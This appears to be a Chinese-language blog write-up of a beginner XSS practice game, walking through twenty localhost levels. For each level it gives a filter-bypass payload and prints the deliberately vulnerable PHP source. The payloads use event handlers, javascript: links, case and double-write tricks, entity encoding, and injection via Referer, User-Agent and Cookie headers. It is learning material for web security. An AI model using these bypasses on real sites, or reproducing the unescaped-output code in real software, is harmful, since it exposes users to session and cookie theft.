前言
這是比較簡單的xss練習(xí)小游戲,非常適合入門。一直以來,對xss的內(nèi)容總感覺有一些屏障,應(yīng)該是因為動手實踐太少。所以,趁此機會,好好學(xué)習(xí)一番,打好基礎(chǔ),以后再繼續(xù)深入。
關(guān)于xss
1.概念:XSS攻擊全稱跨站腳本攻擊(Cross-Site Scripting,XSS)是一種經(jīng)常出現(xiàn)在 WEB 應(yīng)用程序中的計算機安全漏洞。其是由于 WEB 應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的。攻擊者利用網(wǎng)站漏洞把惡意的腳本代碼注入到網(wǎng)頁中,當其他用戶瀏覽這些網(wǎng)頁時,就會執(zhí)行其中的惡意代碼,對受害用戶可能采取 Cookies 資料竊取、會話劫持、釣魚欺騙等各種攻擊。
2.分類:
- 反射型 XSS:攻擊者通過特定手法(如電子郵件),誘使用戶去訪問一個包含惡意代碼的 URL,當受害者點擊這些專門設(shè)計的鏈接的時候,惡意代碼會直接在受害者主機上的瀏覽器執(zhí)行。通常出現(xiàn)在網(wǎng)站的搜索欄、用戶登錄口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙。
- 持久型 XSS:也叫存儲型跨站腳本,此類 XSS 不需要用戶單擊特定 URL 就能執(zhí)行跨站腳本,攻擊者事先將惡意代碼上傳或儲存到漏洞服務(wù)器中,只要受害者瀏覽包含此惡意代碼的頁面就會執(zhí)行惡意代碼。一般出現(xiàn)在網(wǎng)站留言、評論、博客日志等交互處,惡意腳本存儲到客戶端或者服務(wù)端的數(shù)據(jù)庫中。
- DOM XSS:DOM-Based XSS 是基于 DOM 文檔對象模型的一種漏洞,受客戶端瀏覽器的腳本代碼所影響。
3.利用:
- Cookies 竊取 :獲取客戶端的 Cookies 信息
- 會話劫持 :接管現(xiàn)存的動態(tài)會話的過程
- 釣魚 :包括重定向釣魚、HTML 注入式釣魚、iframe 釣魚、Flash 釣魚等
- 網(wǎng)頁掛馬:一般都是通過篡改網(wǎng)頁的方式來實現(xiàn)的,如在 XSS 中使用
<iframe>標簽。 - DOS 與 DDOS:注入惡意 JavaScript 代碼,可能會引起一些拒絕服務(wù)攻擊。
- XSS 蠕蟲 :通過精心構(gòu)造的 XSS 代碼,可以實現(xiàn)非法轉(zhuǎn)賬、篡改信息、刪除文章、自我復(fù)制等諸多功能。
開始實踐
level1
URL中有一個name參數(shù),既然是練習(xí)xss,直接使用<script>alert(1)</script>試試,即 http://localhost/xss/level1.php?name=<script>alert(1)</script> 成功。
查看關(guān)鍵代碼:
<h1 align=center>歡迎來到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
直接輸出,沒有任何過濾,所以可執(zhí)行。再看看提交信息:

本來為用戶名的內(nèi)容被執(zhí)行。
level2
1.使用<script>alert(1)</script>試試,未成功,發(fā)現(xiàn):

即<和>都被轉(zhuǎn)義了,查看源碼:
<h1 align=center>歡迎來到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
使用了htmlspecialchars($str)函數(shù),這個函數(shù)的作用是把一些預(yù)定義的字符轉(zhuǎn)換為 HTML 實體。
預(yù)定義字符包括:
& (和號)成為 &" (雙引號)成為 "' (單引號)成為 '< (小于)成為 <> (大于)成為 >
注:要把特殊的 HTML 實體轉(zhuǎn)換回字符,請使用 htmlspecialchars_decode() 函數(shù)。
2.htmlspecialchars($str)函數(shù)的語法為:htmlspecialchars(string,flags,character-set,double_encode) 主要看前面兩個參數(shù):
string:必需,規(guī)定要轉(zhuǎn)換的字符串。
flags:可選,規(guī)定如何處理引號、無效的編碼以及使用哪種文檔類型。這個參數(shù)主要看可用的引號類型:
-
ENT_COMPAT- 默認。僅編碼雙引號。 -
ENT_QUOTES- 編碼雙引號和單引號。 -
ENT_NOQUOTES- 不編碼任何引號。
關(guān)于其他內(nèi)容,可查看:PHP htmlspecialchars() 函數(shù)
3.知道了htmlspecialchars($str)函數(shù)的作用,那該如何繞過并執(zhí)行呢。其實這題還用不到它??梢钥吹剑辉谳敵鎏庍M行了轉(zhuǎn)義,在輸入處可利用??蓪?code>input標簽提前閉合。構(gòu)造:"><script>alert(1)</script><" 成功。解析為:

level3
1.提交上一關(guān)的payload,發(fā)現(xiàn):

看來這次是兩處都進行了HTML實體轉(zhuǎn)換。看看源碼,的確如此,值得注意的為單引號閉合。
<h1 align=center>歡迎來到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
2.不過,還有有很多JS事件可以利用。這里列舉幾個:
onmouseenter=alert() //當鼠標移動到就會觸發(fā)
onclick=alert() //鼠標點擊時就會觸發(fā)
onchange=alert() //在域的內(nèi)容改變時發(fā)生
oninput=alert() //在用戶輸入時觸發(fā)
onmouseover=alert()//鼠標移動到就會觸發(fā)
注意:只有在htmlspecialchars($str)函數(shù)未指定第二個參數(shù)flag時,即ENT_COMPAT 時,可用于閉合單引號情況的輸入。如:此次輸入的value就是單引號閉合
3.使用1'onclick='window.alert()試試,成功

level4
1.先提交上題的1'onclick='window.alert(1)試試,發(fā)現(xiàn)閉合為雙引號:

2.改用雙引號,1"onclick="window.alert(1)成功。

發(fā)現(xiàn)這個題也是沒有在輸入處進行HTML實體轉(zhuǎn)換??梢钥纯丛创a:
<h1 align=center>歡迎來到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
這里多了對<和>的過濾$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); 但我們所構(gòu)造的也已經(jīng)繞過了。
level5
1.提交上題的payload,發(fā)現(xiàn):

這種過濾比較麻煩,不好繞過。先試試大小寫:1"Onclick="window.alert(1) 沒用,提示同樣的錯誤。
2.說明帶有on的事件都不可以使用了,測試發(fā)現(xiàn)<script也不可用(前面的script變了,但后面的沒變,說明不是針對script,而是<script)。

繼續(xù)觀察發(fā)現(xiàn),在輸入處并沒有對<和>進行轉(zhuǎn)義。所以,這里使用另一種方法:javascript:alert(1) 構(gòu)造:"><a href="javascript:alert('1')">try</a>" 結(jié)果如下:

點擊插入的超鏈接,成功。查看解析為:

3.現(xiàn)在看看源碼:
<h1 align=center>歡迎來到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
和猜測的一樣,通過strtolower($_GET["keyword"]);將輸入轉(zhuǎn)為小寫,即無法大小寫繞過。并通過str_replace()過濾<script和on
level6
1.還是提交上題的playload,發(fā)現(xiàn):

發(fā)現(xiàn)href被過濾。
2.因為題目是由簡到難的,所以前面的題試過的就不再試了,多半是被過濾的,比如on。那還如何繞過呢,想到了轉(zhuǎn)碼。試試,轉(zhuǎn)一個字符就好,可在這里轉(zhuǎn):Unicode編碼轉(zhuǎn)換 打臉,識別不了(因為標簽屬性沒了),基礎(chǔ)不行啊。

3.那先看看源碼吧:
<h1 align=center>歡迎來到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
過濾的確實多了,但是少了大小寫過濾,原來是在這等著,想多了。那就大小寫繞過吧:"><a Href="javascript:alert('1')">try</a>// 成功。
level7
1.提交"><a Href="javascript:alert('1')">try</a>// ,發(fā)現(xiàn):

這個是直接把href和script去掉了,這種很好繞過,直接雙寫就好了,構(gòu)造:"><a hrhrefef="javasscriptcript:alert('1')">try</a>// 成功,解析為:

2.現(xiàn)在看一下源碼:
<h1 align=center>歡迎來到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
沒什么好說的,這種過濾用處不大。
level8
1.提交"><a Href="javascript:alert('1')">try</a>// ,發(fā)現(xiàn):

觀察發(fā)現(xiàn),我們應(yīng)該在友情鏈接處想辦法(只對雙引號進行了轉(zhuǎn)義和其他標簽進行了過濾,而且本身就有href標簽)
2.現(xiàn)在,我們需要做的就是繞過script的過濾,用我們之前說的編碼,這里不用擔心識別不了,同樣,轉(zhuǎn)一個字符即可。提交為:javascript:alert(1)。s轉(zhuǎn)為unicode,即s 成功,解析為:

顯示如此,但是在執(zhí)行時會自動轉(zhuǎn)化并識別。
3.最后,看一下源碼:
<h1 align=center>歡迎來到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
level9
1.和level8很像,提交javascript:alert(1),發(fā)現(xiàn):

鏈接不合法
2.既然如此,那加上http://或https://試試,構(gòu)造為:javascript:alert(1)/*http://www*/

3.現(xiàn)在只需要繞過script就好了,用上一題的方法,構(gòu)造:javascript:alert(1)/*http://www*/ 成功,解析為:

注:因為考慮到判斷是否為合法鏈接的條件是檢測輸入中是否存在http://或https://,或是檢測是否為http://或https://開頭。后者比較麻煩,所以直接試前者。加上注釋是為了不影響執(zhí)行,也可用//http://www*
4.查看一下源碼:
<title>歡迎來到level9</title>
</head>
<body>
<h1 align=center>歡迎來到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
和level8基本沒差,就多了是否存在http://。
5.那如果是判斷是否為http://或https://開頭應(yīng)該如何繞過呢?
目前沒想到,望諸位不吝賜教。
level10
1.提交:<script>alert(1)</script> 發(fā)現(xiàn):

2.有三個參數(shù),都試試:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt" 因為三個參數(shù)的類型都為隱藏,所以把他們都設(shè)為txt后才能顯示出來(會忽略后面的type="hidden")。如圖:

3.解析為:

也就是說只有t_sort的輸入處可以利用,因為過濾了<和>,構(gòu)造:"onclick="window.alert(1)"type="txt" 成功,解析為:

4.最后看一下源碼:
<h1 align=center>歡迎來到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
5.發(fā)現(xiàn),其實只需要輸入兩個參數(shù),keyword和t_sort。
level11
1.提交<script>alert(1)</script> 發(fā)現(xiàn):

2.有4個參數(shù),都試試吧,看是哪個:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt"&t_ref=<script>alert(1)</script>"type="txt"

還是t_sort處,并且過濾了<,>和"
3.沒有頭緒,先看源碼吧:
<h1 align=center>歡迎來到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
4.原來還有$_SERVER['HTTP_REFERER'],t_sort這里繞不過啊,轉(zhuǎn)義了雙引號,又不是單引號閉合。說明這題主要指向$_SERVER['HTTP_REFERER']
5.在php中,可以使用$_SERVER[‘HTTP_REFERER’]來獲取HTTP_REFERER信息。關(guān)于HTTP_REFERER,php文檔描述如下:
引導(dǎo)用戶代理到當前頁的前一頁的地址(如果存在)。由 user agent 設(shè)置決定。并不是所有的用戶代理都會設(shè)置該項,有的還提供了修改
HTTP_REFERER 的功能。簡言之,該值并不可信。
6.綜上,此題我們需要在HTTP_REFERER上動手。由于規(guī)律和上一題一樣,直接使用"onclick="window.alert(1)"type="text存入Referer中,如圖:

7.成功,此題告訴我們要學(xué)會在http各種首部字段做文章,看一下解析:

level12
1.進入后,直接先查看解析:

2.看來這次是利用用戶代理,即$_SERVER['HTTP_USER_AGENT'] 我們需要在user agent上輸入。
3.直接將上題的payload輸入執(zhí)行,因為這主要是考各種首部字段,即

4.成功,看一下解析:

5.最后,看一下源碼:
<h1 align=center>歡迎來到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
6.過濾都一樣的,只是利用的首部字段不同了。
level13
1.直接先看解析,這次應(yīng)該是Cookie,而且對應(yīng)的內(nèi)容為call me maybe?不知道對應(yīng)那個參數(shù)。

2.可以試一下,把所有 參數(shù)都進行傳值,keyword=aaa1"type="text&t_link=aaa2"type="text&t_history=aaa3"type="text&t_sort=aaa4"type="text&t_cook=aaa5"type="text如圖:

沒有用,看來獲取cookies的參數(shù)不是由以上任何參數(shù)獲取。
3.沒辦法,用神奇burpsuite抓包看看到底是何參數(shù)吧:

可以發(fā)現(xiàn),是user 那我們直接在burpsuite中修改cookie吧:

成功。
4.當然,也可以在火狐插件HackBar(上面用的就是此插件)的cookies處提交:user="onclick="window.alert(1)"type="text 現(xiàn)在查看一下解析:

5.最后看看源碼吧:
<h1 align=center>歡迎來到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
可以看到,是通過user接收cookie,過濾和上面幾題還是一樣的。
level14
1.這個題大致看了一下,發(fā)現(xiàn)是要我們?nèi)ピL問網(wǎng)站http://www.exifviewer.org/ 可是已經(jīng)打不開了。剛開始并不知是想干嘛,后來才發(fā)現(xiàn)是利用關(guān)于圖片的exif屬性。
2.關(guān)于exif,百度一下:
可交換圖像文件格式(英語:Exchangeable image file format,官方簡稱Exif),是專門為數(shù)碼相機的照片設(shè)定的,可以記錄數(shù)碼照片的屬性信息和拍攝數(shù)據(jù)。
3.這下明確了,應(yīng)該是想讓我們修改圖片的exif信息,上傳到相應(yīng)網(wǎng)站,然后達到執(zhí)行XSS的效果。
4.大概找了一下,沒有找到相應(yīng)的平臺,但發(fā)現(xiàn)了一個很棒的查看exif信息的網(wǎng)站:圖蟲EXIF查看器alpha版 可看到的信息非常詳細。
5.最后,根據(jù)題目的考點,找了幾個關(guān)于修改圖片exif信息的工具,喜歡的可以自己下載玩一玩。
- PowerExif
- MagicEXIF元數(shù)據(jù)編輯器
level15
1.先查看一下響應(yīng)

2.發(fā)現(xiàn)有個"ng-include",這是什么,先查一下:

相關(guān)參數(shù)說明:

3.現(xiàn)在,我就可以嘗試讓其包含某個可以執(zhí)行xss漏洞的文件,然后讓包含的文件調(diào)用alert方法就可以了。使用level1.php試試,構(gòu)造:?src='level1.php?keyword=<script>alert(1)</script>' 發(fā)現(xiàn) <和>被過濾了。

4.那使用onclick試試,選擇level2.php 構(gòu)造?src='level2.php?keyword="onclick="alert(123)' 雙引號也是被解析的,但是成功了。解析為:

5.有點迷,看一下源碼:
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不錯!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關(guān),自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
發(fā)現(xiàn)使用了htmlspecialchars($str) 按理應(yīng)該不會通過,可是過了,是否說明通過ng-include包含進來的文件會自動識別html實體,然后執(zhí)行。那第一個又不行,查了好久,也不知道怎么回事,先放著。
level16
1.提交<script>alert(1)</script> 發(fā)現(xiàn)將script和/ 都轉(zhuǎn)為空格了。

2.但是<和>沒有過濾,后還發(fā)現(xiàn)空格也會轉(zhuǎn)義,這里用Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%0a')代替 。而且,這里使用一種新的事件。
onerror 事件: 會在文檔或圖像加載過程中發(fā)生錯誤時被觸發(fā)。在裝載文檔或圖像的過程中如果發(fā)生了錯誤,就會調(diào)用該事件句柄。
語法:onerror="SomeJavaScriptCode" 后面的 SomeJavaScriptCode必需。規(guī)定該事件發(fā)生時執(zhí)行的 JavaScript。
支持該事件的 HTML 標簽:<img>, <object>, <style>
支持該事件的 JavaScript 對象:window, image
3.這里我們用<img>,構(gòu)造:<img%0asrc=1%0aonerror="alert(1)"> 成功,查看解析:

4.查看一下源碼:
<h1 align=center>歡迎來到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
發(fā)現(xiàn)有兩個空格?其實不是,在Python中看看是什么



5.因此,實際是過濾了script,空格,/,橫向制表這四個字符(這個和做題沒有關(guān)系,看到了就順便了解一下而已)
level17
1.進入,發(fā)現(xiàn)http://localhost/xss/level17.php?arg01=a&arg02=b兩個參數(shù)分別為a,b,再看看響應(yīng):

發(fā)現(xiàn)a和b都顯示了,可以考慮在a,b處構(gòu)造,而且不用考慮引號閉合問題(用空格隔開就好)。
2.<embed> 標簽是定義嵌入的內(nèi)容,比如插件。這里插件就是xsf01.swf
3.構(gòu)造:arg01=a&arg02=1%20onmouseover=alert(1) (這里直接把空格替代了,后來測試發(fā)現(xiàn)不替代也行)當鼠標移動到插件上時,成功,查看解析:

4.查看源碼:
<h1 align=center>歡迎來到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
兩個參數(shù)都進行了HTML實體轉(zhuǎn)化。
level18
1.發(fā)現(xiàn)和level17差不多啊,直接提交上題的payload,即rg01=a&arg02=1 onmouseover=alert(1)成功,解析為:

2.看看源碼:
<h1 align=center>歡迎來到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
和上題就只有插件不同。
level19
1.這題和下題相似,都是比上面兩個題多了雙引號閉合。這個也是上面一直沒有解決的問題。后來才發(fā)現(xiàn)原來這幾題考的的關(guān)于flash xss的,這個方面就先不看了,直接看看源碼吧
<h1 align=center>歡迎來到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
level20
源碼:
<h1 align=center>歡迎來到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
后記
原本不打算寫這篇文章的,因為太菜,怕寫得不好。后來想了想,還是記錄一下吧,不然忘得太快,到時候想復(fù)習(xí)看一下都找不到,所以還是寫了。當然,也希望能幫到有需要的朋友。此外,文章的內(nèi)容可能有錯或者做法比較愚蠢的,還望這位不吝賜教,多謝。